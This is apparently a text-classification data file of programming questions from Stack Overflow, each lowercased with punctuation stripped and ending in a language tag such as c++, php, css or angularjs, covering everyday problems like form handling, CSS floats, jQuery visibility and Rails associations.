program compiles but crashes when using floating point  so i am working with this simple block of code:   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt;  using namespace std;  int sum_of_squares (double a  double b) {     double sum;     double sum1;     sum1 = pow(a 2)+pow(b 2);     sum = sqrt(sum1);     return sum; } int main () {     //user inputs     double x1;     double x2;     double y1;     double y2;     double r1;     double r2;     double diffx;     double diffy;     cout &lt;&lt;  enter the information for the first circle ;     cout &lt;&lt;  x-coordinate: ;     cin &gt;&gt; x1;      cout &lt;&lt;  y-coordinate: ;     cin &gt;&gt; y1;     cout &lt;&lt;  radius: ;     cin &gt;&gt; r1;     cout &lt;&lt;  enter the information for the second circle ;     cout &lt;&lt;  x-coordinate: ;     cin &gt;&gt; x2;      cout &lt;&lt;  y-coordinate: ;     cin &gt;&gt; y2;     cout &lt;&lt;  radius: ;     cin &gt;&gt; r2;      //math     double total_radius;     double circle_sep;     double difference;     diffx = abs(x1-x2);     diffy = abs(y1-y2);     total_radius = r1+r2;     circle_sep = sum_of_squares(diffx diffy);     difference = circle_sep - total_radius;      //outputs     int z;     if(total_radius&gt;circle_sep)         cout&lt;&lt;  the circles overlap. ;     else         cout &lt;&lt; difference;         cout &lt;&lt;  the minimum distance between the circles is   &lt;&lt; difference &lt;&lt;  . ;     cout &lt;&lt;  enter 0 to exit ;     cin&gt;&gt; z;     return 0; } </code></pre>   the first output if statement works perfectly  even when giving it coordinates that would require floating point math. the else statement after that is not working as well. i can get the program to compile and run when i remove the  cout &lt;&lt; difference   but when i deliberately enter circles that are separated the program crashes. i can t get the program to compile if i leave that line of code in there. to me it seems like the computer should be able to do a simple line of subtraction  but it crashes. i have another program with a similar issue that i hope the solution to this will apply to.     thanks!,c++
iphone and apple s developer documentation  why i can t read the apple s developer documentation from my iphone  i open the documentation and i can t scroll. why is that,iphone
how to get values of a two contact forms which is in two separate tabs in php   i have a contact form in php which has has two tabs containing two different contact forms. i want to get all the values of both the forms and send it as an email. i have coded it for one of the tab  but i am not getting the values of each of the field in the contact form in that tab. can anyone tell how to do this   my code is shown below for one of the tab:   <pre><code>  &lt;form name= contactform  id= contact_form  method= post  action=  &gt;     &lt;div tab-id= 1  class= tab active &gt;             &lt;div class= form-inline &gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= name  id= exampleinputname  placeholder= name  &gt;           &lt;/div&gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= email  class= form-control  name= email  id= exampleinputemail  placeholder= email address &gt;           &lt;/div&gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= telephone  placeholder= phone &gt;           &lt;/div&gt;             &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= country  id= exampleinputname  placeholder= country  &gt;           &lt;/div&gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;textarea class= form-control  name= message  rows= 3  id= exampleinputmessage  placeholder= message  &gt;&lt;/textarea&gt;           &lt;/div&gt;         &lt;/div&gt;         &lt;div class= form-group col-xs-12 padd &gt;           &lt;div id= mail_success  class= success  style= display:none; &gt;your message has been sent successfully.           &lt;/div&gt;&lt;!-- success message --&gt;           &lt;div id= mail_fail  class= error  style= display:none; &gt; sorry  error occured this time sending your message.           &lt;/div&gt;&lt;!-- error message --&gt;         &lt;/div&gt;         &lt;div class= form-group col-xs-8 padd &gt;             &lt;div class= g-recaptcha  data-sitekey= 6lcjqyitaaaaabks5hnd6u_2ptu09rixyohvnnud &gt;&lt;/div&gt;         &lt;/div&gt;          &lt;div class= form-group col-sm-4 padd  id= submit &gt;           &lt;input type= submit  id= send_message  name= send  class= btn  btn-lg costom-btn  value= send &gt;         &lt;/div&gt;      &lt;/div&gt; &lt;div tab-id= 2  class= tab &gt;          &lt;div class= form-inline &gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= name  id= exampleinputname  placeholder= full name  &gt;           &lt;/div&gt;           &lt;div class= form-group col-sm-6 padd &gt;             &lt;input type= email  class= form-control  name= email  id= exampleinputemail  placeholder= email &gt;           &lt;/div&gt;             &lt;div class= form-group col-sm-6 pad &gt;             &lt;input type= text  class= form-control  name= telephone  placeholder= phone &gt;           &lt;/div&gt;           &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= subject  id= exampleinputsubject  placeholder= tell us about your project in your own words    &gt;           &lt;/div&gt;             &lt;div class= form-group col-sm-12 padd &gt;             &lt;input type= text  class= form-control  name= subject  id= exampleinputsubject  placeholder= tell us about you or your company  &gt;           &lt;/div&gt;              &lt;div class= form-group col-sm-12 padd &gt;                 &lt;p&gt;which services are you interested in  &lt;/p&gt;                &lt;p&gt;                 &lt;input type= checkbox  id= test1  /&gt;                 &lt;label for= test1 &gt;&lt;/label&gt;               &lt;/p&gt;               &lt;p&gt;                 &lt;input type= checkbox  id= test2 /&gt;                 &lt;label for= test2 &gt;&lt;/label&gt;               &lt;/p&gt;                 &lt;p&gt;                 &lt;input type= checkbox  id= test3 /&gt;                 &lt;label for= test3 &gt;&lt;/label&gt;               &lt;/p&gt;                 &lt;p&gt;                 &lt;input type= checkbox  id= test4 /&gt;                 &lt;label for= test4 &gt;&lt;/label&gt;               &lt;/p&gt;                 &lt;p&gt;                 &lt;input type= checkbox  id= test5 /&gt;                 &lt;label for= test5 &gt;&lt;/label&gt;               &lt;/p&gt;                 &lt;p&gt;                 &lt;input type= checkbox  id= test6 /&gt;                 &lt;label for= test6 &gt;&lt;/label&gt;               &lt;/p&gt;               &lt;/div&gt;         &lt;/div&gt;         &lt;div class= form-group col-xs-12 &gt;           &lt;div id= mail_success  class= success  style= display:none; &gt;your message has been sent successfully.           &lt;/div&gt;&lt;!-- success message --&gt;           &lt;div id= mail_fail  class= error  style= display:none; &gt; sorry  error occured this time sending your message.           &lt;/div&gt;&lt;!-- error message --&gt;         &lt;/div&gt;         &lt;div class= form-group col-sm-12  id= submit &gt;           &lt;input type= submit  id= send_message  class= btn  btn-lg costom-btn  value= send &gt;         &lt;/div&gt;    &lt;/div&gt;   &lt;/form&gt; </code></pre>,php
what s the best python idiom for grouping a list of items into groups of a specific max size   i want to write a function that takes items from a list and groups them into groups of size n.    ie  for n = 5  [1  2  3  4  5  6  7] would become [[1  2  3  4  5]  [6  7]].    what s the best python idiomatic way to do this,python
failed to use <picture> and <source> element to switch pictures  trying to learn some basic html here.    <a href= https://developer.mozilla.org/en-us/docs/learn/html/multimedia_and_embedding/responsive_images  rel= nofollow noreferrer >https://developer.mozilla.org/en-us/docs/learn/html/multimedia_and_embedding/responsive_images</a>    i wrote a simple html file that should switch pictures for different screen width  it is almost the same as the example in the article  but it doesn t work  what went wrong     this is the code:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;style&gt;     body {         max-width: 1200px;         margin: 0 auto;     }     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;h1&gt;lorem ipsum&lt;/h1&gt;     &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. curabitur libero nibh  convallis nec mattis in  varius sed turpis. fusce dapibus purus sapien  ut maximus tortor dictum a. praesent venenatis pharetra placerat. cras eu aliquam augue. nullam id luctus velit. vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; fusce faucibus lectus sed magna euismod tempor. aliquam sed consequat sapien  in finibus lorem. suspendisse cursus ultrices dolor id dictum. proin cursus nisi scelerisque  molestie lacus vel  imperdiet odio. curabitur at augue gravida metus consequat congue. quisque sed orci accumsan erat iaculis feugiat. sed ornare mi id est fringilla sodales. quisque enim leo  ornare vitae sapien eu  blandit dignissim sapien. maecenas venenatis pretium vestibulum. &lt;/p&gt;     &lt;picture&gt;         &lt;source media= (max-width: 799px)  srcset= vanessa vailatti portrait.png &gt;         &lt;source media= (min-width: 800px)  srcset= vanessa vailatti.png &gt;         &lt;img src= vanessa vailatti.png  alt= vanessa vailatti standing by the lake &gt;     &lt;/picture&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how do i get all public static methods of a class in java   <code>clazz.getdeclaredmethods()</code> will returns all methods  but i only want those <code>public static</code> methods  how do i make it,java
if the string contains at least one c  then how can i print the position of the first  c   i am trying to solve this problemset: if the string contains at least one c  then how can i print the position of the first  c  letter     i only get the position 0 when i am running this code  even if the c is at an another position.   <pre><code>import javax.swing.joptionpane;  public class innlev3 {      public static void main(string[] args) {          string i;          i = (joptionpane.showinputdialog( write a word:  ));          int position = getposition(i);          if (i.contains( c )) {             joptionpane.showmessagedialog(null   the position of the letter c is:   + position);         } else {             joptionpane.showmessagedialog(null   strengen inneholder ikke noen bokstaver med c. );         }     }      private static int getposition(string i) {         return 0;     } } </code></pre>,java
floating an element but still keeping it within its parent specified padding  how can i <code>float</code> an element within a <code>&lt;figure&gt;</code> tag  without the text going outside the padded <code>listing-area</code> figure div itself    <hr>   i am looking to achieve the desired style:     <a href= https://i.stack.imgur.com/rakmv.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rakmv.jpg  alt= desired style on another website ></a>    and when even more content is added within the <code>div</code> it adopts the <code>padding-top</code> and <code>padding-bottom</code>.     see:     <a href= https://i.stack.imgur.com/dld0m.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dld0m.jpg  alt= div adopting the padding with more content ></a>    <em><a href= https://gemfields.com/  rel= nofollow noreferrer >gemfields.com</a></em>    at present  <em>my</em> css does not obey the <code>padding-top</code> and <code>padding-bottom</code>.    what i do not understand is that i do have a <code>group:after</code> which clears the float  usually (and i did just assume) it would allow the content to wrap if you like at the bottom of the floated div  clearing it  but this is not the case for me this time.   <hr>   my css:    <pre><code>#listing {     display: block   } #listing .listing-area {     position: relative;     width: 100%;     padding: 140px 0;     background-position: 50% 50%;     background-repeat: no-repeat;     background-size: cover;     z-index: 0   } #listing .listing-area.right-listing {     text-align: right    } #listing .listing-area::after {     content:   ;     background: -moz-linear-gradient(left  hsla(0 0% 100% 0) 0%  hsla(0 0% 100% 1) 68%  hsla(0 0% 100% 1) 100%);     position: absolute;      top: 0;     left: 0;     right: 0;     bottom: 0;     z-index: 0 } #listing figcaption {     position: relative;     z-index: 1 } .row-four-col {     width: 40% } .fr {     float: right } .group:after {     content:    ;     display: table;     clear: both;     height: -1px } </code></pre>   html   <pre><code>&lt;div id= listing &gt;   &lt;div class= row &gt;     &lt;div class= row-full-col row-space &gt;       &lt;figure class= listing-area right-listing  style= background-image:url( https://static.pexels.com/photos/541522/pexels-photo-541522.jpeg ) &gt;         &lt;figcaption class= content-wrapper &gt;           &lt;div class= row-four-col fr group &gt;             &lt;h2&gt;personal executive coaching&lt;/h2&gt;             &lt;p&gt;non directive 1:1 executive coaching programmes for senior level executives. these extend typically over a minimum of 9 months and are provided by a combination of face to face meetings and  if required telephone sessions. they are personal and confidential and information is not shared with the employing organization.they provide the opportunity of personal support to executives who often find themselves relatively isolated in their role without the right opportunity to discuss personal or business concerns and review their options.&lt;/p&gt;             &lt;p&gt;business leaders spend their time effectively ‘on stage’ in their role. tailored coaching support provides a ‘safe rehearsal’ environment to reveal and resolve problems and dilemmas that we all from time to time face. the process facilitates such leaders to arrive at their best judgements or decisions. it does not presume to provide solutions.&lt;/p&gt;           &lt;/div&gt;         &lt;/figcaption&gt;       &lt;/figure&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>  <hr>  <h1>jsfiddle:</h1>   <a href= https://jsfiddle.net/lwls839g/2/  rel= nofollow noreferrer >https://jsfiddle.net/lwls839g/2/</a>,css
color incorrect on visited links  i have a problem with setting the css on the main page of my website  <a href= http://www.speedy.net/  rel= nofollow noreferrer >www.speedy.net</a>. i want the link color to be <code>#146cc0</code>  which is correct when the link is unvisited. but when the link is visited  it changes to blue. i had specific css for <code>a:visited</code> which i removed  but i checked with 4 browsers now (chrome  firefox  opera and edge) and the visited links are always blue (not <code>#146cc0</code>). how do i make the visited links same color as unvisited links     here is the css of the main page:   <pre><code>html  body {     margin: 0; }  #top-gradient {     height: 80px;     background: url( /images/gradient.png );     margin-bottom: 15px;     background-repeat: repeat-x;     width: 100%; }  a:link {     text-decoration: none;     color: #146cc0;     background-color: transparent;     font-family:  arial ; }  a &gt; span {     color: black; }  a:hover &gt; span {     color: #ff0000; }  a:hover {     color: #ff0000;     background-color: transparent; }  a:active {     color: #990099;     background-color: transparent; }  td {     padding: 0px 40px; }  .wiki-link {     font-size: 40px; }  img.main-image {     max-width: 100%; }  .speedy-bottom-badge-link {     font-family:  lucida grande   tahoma verdana arial sans-serif;     font-size: 11px;     font-variant: normal;     font-style: normal;     font-weight: normal;     color: #3b5998;     text-decoration: none; }  @media screen and (max-width: 1080px) {     img.fb-badge {         width: 30%;         height: auto;     }     img.main-logo {         width: 65%;         height: auto;     }     .wiki-link {         font-size: 60px;     }     .speedy-bottom-badge-link {         font-size: 40px;     } } </code></pre>   this is the css i removed:   <pre><code>a:visited {     text-decoration: underline;     color: #0000cc;     background-color: transparent; } </code></pre>   thanks  uri.,css
how is this possible   in following code there is declaration even before the block beginning of the main function. is this allowed    <pre><code>long long n u m b; main(e r)     char **r; //&lt;&lt;&lt;is this possible    {     for( ; n++ || (e=getchar()|32)&gt;=0 ; b= ynwtsflrabg [n%=11]-e b:b*8+n)         for( r=b%64-25 ; e&lt;47&amp;&amp;b ; b/=8)             for( n=19; n ; n[ 1+diy/.k430x9g(kc[ ]-42&amp;255^b||(m+=n&gt;15 n:n&gt;9 m%u*~-u:~(int)r n+!(int)r*16:n*16 b=0))             u=1ll&lt;&lt;6177%n--*4;printf( %llx\n  m); } </code></pre>   source: i found this code on ioccc.org,c
what s the difference between `ng-show` and `ng-hide`   these attributes are both given either a <code>true</code> or <code>false</code> value  so what difference is there between them  it would make sense if there weren t values for them.    am i missing something,angularjs
ruby on rails - how to add an item to a has_many reference   i am new on ror and i have to implement a user - submissions - comments app. the thing is  i would like the users can like the submissions and the comments  but just once for each submission/comment.     for that  my user model is (the class is called guser):   <pre><code>class guser &lt; activerecord::base    has_many :liked_submissions  :class_name =&gt;  submission   :foreign_key =&gt;  submission_id  </code></pre>   in the view  i call a function from the submission controller called like:   <pre><code>def like           @submission = submission.find(params[:submission_id])      @submission.nlikes = @submission.nlikes + 1      @submission.save      current_guser.liked_submissions &lt;&lt; @submission           current_guser.save           redirect_to submissions_path    end </code></pre>   the thing is i get this error: can t write unknown attribute <code>submission_id</code>    and i don t understand why because i searched everywhere how to add an object to a has_many reference and all the posts say i must use the &lt;&lt; operator. but it doesn t work. can someone help me      thank you very much.    <strong>edit:</strong> i followed anthalee advices and now i have another problem. i did exactly the new likes model first just using submissions and later i transformed it to polimorphic as anthalee recommended me. now the thing is i want to show the like button only if the user did not already liked the submission or comment.  when there was only the submission  i could use the map:   <pre><code>&lt;%if current_guser and not current_guser.likes.map(&amp;:submission_id).include  submission.id %&gt; +        &lt;%= link_to(image_tag( https://upload.wikimedia.org/wikipedia/commons/thumb/7/7f/green_equilateral_triangle_point_up.svg/1182px-green_equilateral_triangle_point_up.svg.png   :width =&gt; 8  :height =&gt; 8)  { :controller =&gt;  likes   :submission_id =&gt; submission.id :action =&gt;  create }  method: :post) %&gt;        &lt;%end%&gt; </code></pre>   but now i don t know how to check the type of the reference (submission or comment) and the id in the current user likes.    how can i do it,ruby-on-rails
c++ loop through map while erasing  to loop through a map in c++ we do sth like this   <pre><code>map&lt;string int&gt; mymap; map&lt;string int&gt;::iterator it= mymap.begin(); while(it!=mymap.end()) {    //code here    it++; } </code></pre>   what if in the  code here  part i have an if statement that if evaluated to true  it erases one element from the map  how should my code change so that it still loops through all <strong>mymap</strong> elements in order,c++
what s the programmability function for setting visibility on jquery   i tried this code  visible being a parameter of function:   <pre><code>$( #something ).show(isvisible); </code></pre>   that s not working though  must evaluate:   <pre><code>if (isvisible)      $( #something ).show(); else     $( #something ).hide(); </code></pre>,jquery
jquery code is not working in ie11 when a control is having runat=server  i am creating an asp.net application which uses jquery as well. my application is working perfectly in chrome but not in ie.   <pre><code> &lt;head&gt;         &lt;meta charset= utf-8  /&gt;         &lt;meta name= viewport  content= width=device-width  initial-scale=1  maximum-scale=1  /&gt;         &lt;meta name= description  content=   /&gt;         &lt;meta name= author  content=   /&gt;         &lt;link rel= icon  href= assets/img/favicon.ico  /&gt;         &lt;title&gt;login | palle university&lt;/title&gt;         &lt;link href= assets/css/bootstrap.css  rel= stylesheet  /&gt;         &lt;link href= assets/css/ionicons.css  rel= stylesheet  /&gt;         &lt;link href= assets/css/font-awesome.css  rel= stylesheet  /&gt;         &lt;link href= assets/css/style.css  rel= stylesheet  /&gt;         &lt;script src= assets/js/jquery-1.11.1.js &gt;&lt;/script&gt;         &lt;script type= text/javascript &gt;             var emailregex = /^\w+([-+. ]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/;             var isformdatavalid = true;             function validatelogin()             {                 a=validateemail($( &lt;%=tbemail.clientid%&gt; ));                 b=validatepassword($(tbpwd));                 if (a &amp;&amp; b)                     return true;                 else                     return false;             } </code></pre>   and calling validatelogin() function from a button click.    the part of html code is as follows.   <pre><code>&lt;div class= col-lg-4 col-md-4 col-sm-12 col-xs-12  &gt;                                 &lt;div class= form-group &gt;                                     &lt;label class= sr-only  for= lblemail &gt;email address&lt;/label&gt;                                     &lt;input type= email  runat= server  class= form-control  id= tbemail  placeholder= enter email &gt;                                 &lt;/div&gt;                                 &lt;div class= form-group &gt;                                     &lt;label class= sr-only  for= lblpwd &gt;password&lt;/label&gt;                                     &lt;input type= password  runat= server  class= form-control  id= tbpwd  placeholder= password &gt;                                 &lt;/div&gt;                                    &lt;label style= display: block;padding-left: 15px; &gt;&amp;nbsp;&amp;nbsp;&lt;input id= checkid  type= checkbox /&gt;remember me&lt;/label&gt;                                  &lt;asp:button runat= server  onclick= btnsignin_click  onclientclick= return validatelogin()  text= sign in  cssclass= btn btn-primary btn-md btn-block &gt;&lt;/asp:button&gt;                                 forgot password &lt;a href= #receivepassword  data-toggle= pill &gt;click here&lt;/a&gt;&lt;br /&gt;                                 to change your password &lt;a href= #changepassword  data-toggle= pill &gt;click here&lt;/a&gt;                                 &lt;div id= errmsg2  class= btn-danger  runat= server &gt;                              &lt;/div&gt; </code></pre>   when i execute the code in ie it is showing a message stating tbemail is undefined. please suggest me the solution.,jquery
update table-data with data from another table  im trying to update a table with data from another table  the relation between the two tables   is a one-to-many relation. i have stubbed out a example here:   <pre><code>update     foo f inner join      bar b  on      b.fooid = f.id  set     f.something1 = b.barsome1      f.something2 = b.barsome1       f.something3 =  b.barsome1       f.something4 = b.barsome1 </code></pre>   but my example only takes me half way   what i want to do is to select the top 1 bar based on latest  bar.post_date or bar.id or check if bar.barsome1 (lets say its a varchar) is null or empty.    as it is now it s some internal ordering of my bar s,mysql
display two element classes after hover <pre><code>.element:hover .element-add  .element-add2 {     display: block; } </code></pre>   how to display element-add and element-add2 after .element is hovered     thanks in advance.,css
why string is greater or less than the integer   i am not able to get it that why the statement gets true both the times.    <pre><code>$hello= foo ;      if($hello&lt;=6){         echo  yes\n ;      }      if ($hello&gt;=0) {         echo  ohh yess! ;      } </code></pre>   it outputs   <pre><code>yes ohh yess! </code></pre>   i do know this is illegal comparison between integer and string but why after all it gets true.,php
calling custom delegates not working  i have made a custom delegate:    example.h:   <pre><code>@protocol dismissexamplepopoverdelegate - (void) dismissexamplepopover; - (int) getuserid; @end   @interface example : uiviewcontroller{     id&lt;dismissexamplepopoverdelegate&gt; delegate; }  @property (nonatomic  assign) id&lt;dismissexamplepopoverdelegate&gt; delegate; </code></pre>   it is called in example.m like follows:   <pre><code>[[self delegate] getuserid]; </code></pre>   in my maincontroller.h:   <pre><code>#import  example.h   @interface mainscreen : uiviewcontroller&lt;dismissexamplepopoverdelegate&gt; </code></pre>   maincontroller.m:   <pre><code>-(int) getuserid {     return 100; } </code></pre>   the view example is called by the following method:   <pre><code>examplecontroller = [[example alloc] initwithnibname:@ example  bundle:nil]; examplepopovercontroller = [[uipopovercontroller alloc] initwithcontentviewcontroller:examplecontroller];  [examplecontroller setdelegate:self]; examplepopovercontroller.popovercontentsize = cgsizemake(600  480);  if ([examplepopovercontroller ispopovervisible]) {         [examplepopovercontroller dismisspopoveranimated:yes]; } else {     cgrect poprect = cgrectmake((self.editexampleselectaddbuttonproperty.frame.origin.x)                                      (self.editexampleselectaddbuttonproperty.frame.origin.y)                                      (self.exampleselectaddbuttonproperty.frame.size.width)                                      (self.exampleselectaddbuttonproperty.frame.size.height));     [examplepopovercontroller presentpopoverfromrect:poprect inview:self.view permittedarrowdirections:uipopoverarrowdirectionany animated:yes]; } </code></pre>   if i place <code>[[self delegate] getuserid]</code> in any function other than <code>viewdidload</code> it works perfectly: returns 100; in <code>viewdidload</code> it returns 0.    what i want to achieve is a delegate to be called automatically when the popover loads. is viewdidload the best place for it  or is there somewhere else,objective-c
given two objects s1 and s2 of a struct which only contains boolean type members  check if each member of s2 is true whenver this member of s1 is true  i ve got a struct <code>s</code> which contains only elements of a single boolean type <code>bool</code>. these elements are not stored in an array. so  the struct is of the form <code>struct s { bool a  b  c  ... };</code>.    now  i ve got two objects <code>o1</code> and <code>o2</code> of type <code>s</code> and i need to have a function <code>test</code> wich does the following:    <pre><code>bool test(s o1  s o2) {     if (o1.a &amp;&amp; !o2.a)         return false;     if (o1.b &amp;&amp; !o2.b)         return false;     if (o1.c &amp;&amp; !o2.c)         return false;      ...      return true; } </code></pre>   is there any better way to do that  the strucht <code>s</code> might change in the future (i.e. some fields may be added; others may be removed) while <code>test</code> should perform the same work.    we could  for example  <code>reinterpret_cast</code> <code>&amp;o1</code> and <code>&amp;o2</code> to pointers of type <code>bool*</code> and perform the check  but maybe there is a better option.    (note that <code>s</code> is given by a library that i m using and hence i cannot change its definition.),c++
cannot set uicollectionviewflowlayout headerreferencesize  i get the following when setting the layout.headerreferencesize   <pre><code>assertion failure in -[hleventcollectionview _createpreparedsupplementaryviewforelementofkind:atindexpath:withlayoutattributes:]  </code></pre>   the crash happens even before the datasource is set. the collectionview is frame is set for the viewcontrollers bounds. the flowlayout has no properties set except for the headerreferencesize.    code sample:   <pre><code>- (void)viewdidappear:(bool)animated { [super viewdidappear:animated];  uicollectionviewflowlayout *flowlayout = [[uicollectionviewflowlayout alloc] init]; flowlayout.headerreferencesize = cgsizemake(0.0f  30.0f);  uicollectionview *collectionview = [[uicollectionview alloc] initwithframe:self.view.bounds collectionviewlayout:flowlayout]; [self.view addsubview:collectionview]; </code></pre>   }    it happens regardless of if i set the datasource or not.,ios
angularjs : flotchart doesn t repeat with ng-repeat  am trying to draw some piecharts with flotchart within ng-repeat in angularjs. the issue is that only the first pie chart is rendered. there is blank space where other pie charts should appear. here is the code:    <strong>javascript</strong>   <pre><code>var app = angular.module( plunker   []);  app.controller( appctrl   function($scope) { $scope.recordedevents = [                           {                        id:  #007cbb                          name:  customers                      } {                        id:  #ef7624                          name:  employees                     }  {                        id:  #bbb322                          name:  vendors                     }  {                        id:  #449955                          name:  admin                     }                    ]                ;    $scope.$apply(); }); </code></pre>   html   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= test &gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;charts&lt;/title&gt; &lt;/head&gt; &lt;body ng-controller= appctrl &gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.0.7/angular.min.js  type= text/javascript &gt;&lt;/script&gt;  &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js &gt;&lt;/script&gt; &lt;script src= http://static.pureexample.com/js/flot/excanvas.min.js &gt;&lt;/script&gt; &lt;script src= http://static.pureexample.com/js/flot/jquery.flot.min.js &gt;&lt;/script&gt; &lt;script src= http://static.pureexample.com/js/flot/jquery.flot.pie.min.js &gt;&lt;/script&gt; &lt;script src= flotpiechart.js  type= text/javascript &gt;&lt;/script&gt; &lt;!-- css --&gt; &lt;style type= text/css &gt; #flotcontainer {     width: 600px;     height: 500px;     text-align: left; } &lt;/style&gt;     &lt;!-- javascript --&gt; &lt;script type= text/javascript &gt; $(function () {     var data = [         {label:     data:20 color:  #007cbb }          {label:     data: 80 color:  #c2c6c9 }     ];       var options = {             series: {                 pie: {show: true                  label: {                         show: true                          threshold: 0.2                     }     }                     }                      legend: {                         show: false                     }          };       $.plot($( #flotcontainer )  data  options);  }); &lt;/script&gt;   &lt;!-- html --&gt; &lt;div ng-repeat= user in recordedevents   ng-style= { display :  inline-block  } &gt; {{user.name}} &lt;div id= flotcontainer  &gt;&lt;/div&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   this gives the following page when run:    <img src= https://i.stack.imgur.com/usdke.png  alt= enter image description here >    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    <strong>edit</strong>    @a. rodas   thank you! it works for static data  but how do we pass dynamic data into the chart  here s a plunker with your code <a href= http://plnkr.co/edit/r4rqltd4y9tkprqjdizg p=preview  rel= nofollow noreferrer >http://plnkr.co/edit/r4rqltd4y9tkprqjdizg p=preview</a>    the above link has your code with the modification am looking forward to make : the code for dynamic data which is in script.js :   <pre><code>.controller( appctrl   function($scope) { $scope.recordedevents = [                           {                             name :  server1                               data :[{label:     data:20  color:  #007cbb }                                     {label:     data:80  color:  #c2c6c9 }]                         } {                             name :  server2                               data :[{label:     data:70  color:  #007cbb }                                     {label:     data:30  color:  #c2c6c9 }]                        }                        ]        ;  }); </code></pre>   i want to pass the above json as input to the chart rather than the data in    <pre><code>var data = [   {label:     data:20  color:  #007cbb }    {label:     data:80  color:  #c2c6c9 }   ]; </code></pre>   how do i do this  can you please help,angularjs
iphone screen lock notification to app  how can i be notified that the screen/phone was locked while my app is running  i want to suspend some timers related to refreshing the display in such cases.,iphone
unable to interact with switch when added as subview to uiview and that view as a subview to cell  i m adding uiview to cell which has a switch as a subview to it. now i am not able to interact with the switch. it does not change to value when i tap on it.,iphone
calling webservice from angularjs  i am calling web-service from angularjs using this code:   <pre><code>$http({     url:  dbservice.asmx/getrg_users       datatype:  json       method:  post       data:         headers: {      content-type :  application/json  } </code></pre>   but i am only able to access limited number of rows from service. once i tried to get all rows it will throw:   <blockquote>    500 (internal server error)  </blockquote>,angularjs
do something in background  i have some framework of mine which is do something that takes time   and when i am trying to call a method of it   it actually freeze for 0.5 sec the movement in the screen .    i was trying to call it in background with :   <pre><code>[self performselectorinbackground:@selector(transmitnow:) withobject:nil];  -(void)transmitnow:(id)sender {      [instance sendwithdata:data]; //takes time   } </code></pre>   but it still takes the same amount of time . is there a way to start this in the background so it will not stop the main process      thanks .,objective-c
how to stop a function within click event  i have validate function to handle value:   <pre><code>function validateform() {     $( .contact-form-email ).each(function() {         var title1 = this.value;         if (!isemail(title1)) {             $(this).closest( .form-section ).find( .message-show ).show();         } else {             $(this).closest( .form-section ).find( .message-show ).hide();         }     });     $( .eachrequire ).each(function() {         var title = this.value;         if (title ==    || title == null) {             $(this).closest( .form-section ).find( .message-show ).show();         } else {             $(this).closest( .form-section ).find( .message-show ).hide();         }     }); } </code></pre>   i added this function into click event.    <pre><code>  $( .checkall ).click(function(){                   validateform(1  false);                   $( .sendform ).click();   }); </code></pre>   how can stop <code>$( .sendform ).click()</code> if <code>validateform</code> above is not passed.    thank you very much.,jquery
iphone: relocate subview  i have a custom uiview. in initwithframe i add image    <pre><code> - (id)initwithframe:(cgrect)frame {  self = [super initwithframe:frame]; if (self) {      self.bgimage = [[[uiimageview alloc] initwithframe:         cgrectmake(frame.size.width - 10  20  50   50)] autorelease];     [self.bgimage setimage:[uiimage imagenamed:@ myimage.png ];]; }     return self; } </code></pre>   everything is fine when i create my custom uiview. but when i change it s frame  my image position didn t changed. how to fix that   tried with autoresize mask  but it didn t help.,iphone
unpack the first two elements in list/tuple  is there a way in python to do like this:   <pre><code>a  b  = 1  3  4  5 </code></pre>   and then:   <pre><code>&gt;&gt;&gt; a 1 &gt;&gt;&gt; b 3 </code></pre>   (the above code doesn t work as it will throw <code>valueerror: too many values to unpack</code>.),python
should .net optionally support  checked exceptions  in abstract methods   should .net provide the ability for programmers to <strong>optionally</strong> define a set of  checked exceptions  for an abstract method  or <strong>optionally</strong> in general     i understand the reasons checked exceptions are not part of .net and i prefer not having mandatory checked exceptions language-wide  but why not provide an optional syntax which could be useful in some situations  take the following example  or if you just wanted to specify that some code handle certain exceptions:   <pre><code>public abstract class abclass {     public abstract isomeinterface abmethod() throws abmethodexception;      public void largermethod()     {         // some processing          try         {             isomeinterface data = abmethod();         }         catch(abmethodexception ex)         {             // some special code         }          // some more processing     } } </code></pre>   where now an implementation of abmethod() would be required to throw abmethodexception.   <pre><code>public class myabclass : abclass {     public isomeinterface abmethod() throws abmethodexception     {         // attempt to create data         if(dataalreadyexists)         {             throw new abmethodexception();         }         else         {             // create data             isomeinterface obj = (isomeinterface)(new object());             obj.writedata();              return obj;         }     } } </code></pre>   would this be a useful feature for you  thoughts,.net
